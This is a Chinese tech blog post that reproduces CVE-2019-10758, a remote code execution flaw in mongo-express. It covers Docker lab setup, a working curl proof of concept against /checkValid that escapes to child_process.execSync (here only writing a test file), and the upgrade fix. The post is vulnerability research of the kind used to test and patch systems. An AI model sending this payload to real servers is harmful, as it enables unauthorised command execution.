温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Mongo-express远程代码怎样执行CVE-2019-10758复现

发布时间:2021-12-20 18:08:24 阅读:229 作者:柒染 栏目:大数据
GO开发者专用服务器限时活动,0元免费领,库存有限,领完即止! 点击查看>>

Mongo-express远程代码怎样执行CVE-2019-10758复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

0x01 简介    
Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。    
0x02 漏洞概述      
   

漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。

0x03 影响版本    
mongo-express < 0.54.0    

0x04 环境搭建

使用docker首先搭建MongoDB数据库      
     
docker run --name MyMongo -d mongo:3.2
     
再搭建一个存在漏洞版本得express并连接到上面得MongoDB      
     
docker run -it --rm -p 8081:8081 --link MyMongo:mongo mongo-express:0.49
     
看到以下信息即可说明搭建成功

     

Mongo-express远程代码怎样执行CVE-2019-10758复现


访问本机8081端口,可以看到Mongo-express界面      
     

Mongo-express远程代码怎样执行CVE-2019-10758复现

当然也可以直接使用vulhub      
     
git clone https://github.com/vulhub/vulhub.gitcd vulhub/mongo-express/CVE-2019-10758docker-compose up -d
     

0x05 漏洞复现

使用网上Poc
   
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo Str1am > file.txt")'
   

Mongo-express远程代码怎样执行CVE-2019-10758复现

看到返回Valid且MongoDB界面返回200即为成功

Mongo-express远程代码怎样执行CVE-2019-10758复现

查看创建的文件    

Mongo-express远程代码怎样执行CVE-2019-10758复现


0x06 修复方式

升级至0.54.0以上版本

关于Mongo-express远程代码怎样执行CVE-2019-10758复现问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

原文链接:https://my.oschina.net/u/4593034/blog/4418765

AI

开发者交流群×